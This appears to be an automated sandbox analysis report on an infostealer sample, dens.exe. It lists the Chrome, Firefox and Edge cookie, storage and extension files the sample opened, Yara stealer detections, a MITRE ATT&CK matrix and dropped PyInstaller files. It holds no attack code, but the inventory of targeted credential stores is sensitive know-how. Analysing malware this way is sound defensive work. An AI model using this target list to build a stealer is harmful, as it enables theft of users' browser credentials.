Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\bookmarkbackups	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\2cb4572a-4cab-4e12-9740-762c0a50285f	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\e8d04e65-de13-4e7d-b232-291855cace25	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\minidumps	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\03a1fc40-7474-4824-8fa1-eaa75003e98a	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\8ad0d94c-ca05-4c9d-8177-48569175e875	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\5bc1a347-c482-475c-a573-03c10998aeea	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Bookmarks	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\temporary	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\default	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\to-be-removed	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\security_state	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\tmp	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\db	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean	Jump to behavior

Yara detected Generic Python Stealer

Source: Yara match	File source: 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2029534944.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dens.exe PID: 6500, type: MEMORYSTR

Source: Yara match	File source: 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2029534944.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dens.exe PID: 6500, type: MEMORYSTR

Remote Access Functionality

Yara detected Exela Stealer

Source: Yara match	File source: 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2029534944.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dens.exe PID: 6500, type: MEMORYSTR

Yara detected Python Stealer

Source: Yara match	File source: 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2029534944.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dens.exe PID: 6500, type: MEMORYSTR

Yara detected Waltuhium Grabber

Source: Yara match	File source: 00000001.00000002.2065840067.000002D9AC8B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2029534944.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dens.exe PID: 6500, type: MEMORYSTR

Yara detected Generic Python Stealer

Source: Yara match	File source: 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2029534944.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dens.exe PID: 6500, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	341 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	2 Disable or Modify Tools	1 OS Credential Dumping	12 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	1 Native API	1 Valid Accounts	1 Valid Accounts	11 Deobfuscate/Decode Files or Information	1 GUI Input Capture	2 System Network Connections Discovery	Remote Desktop Protocol	3 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	1 Windows Service	1 Windows Service	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 GUI Input Capture	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	Login Hook	11 Process Injection	1 Timestomp	NTDS	56 System Information Discovery	Distributed Component Object Model	1 Email Collection	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	571 Security Software Discovery	SSH	1 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Valid Accounts	DCSync	151 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	151 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	31 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
dens.exe	39%	ReversingLabs	Win64.Infostealer.Generic

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\_MEI62482\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\VCRUNTIME140_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\_asyncio.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\_brotli.cp312-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\_cffi_backend.cp312-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\_overlapped.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\_uuid.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\_wmi.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\aiohttp\_helpers.cp312-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\aiohttp\_http_parser.cp312-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\aiohttp\_http_writer.cp312-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\aiohttp\_websocket.cp312-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-console-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-datetime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-debug-l1-1-0.dll	0%	ReversingLabs
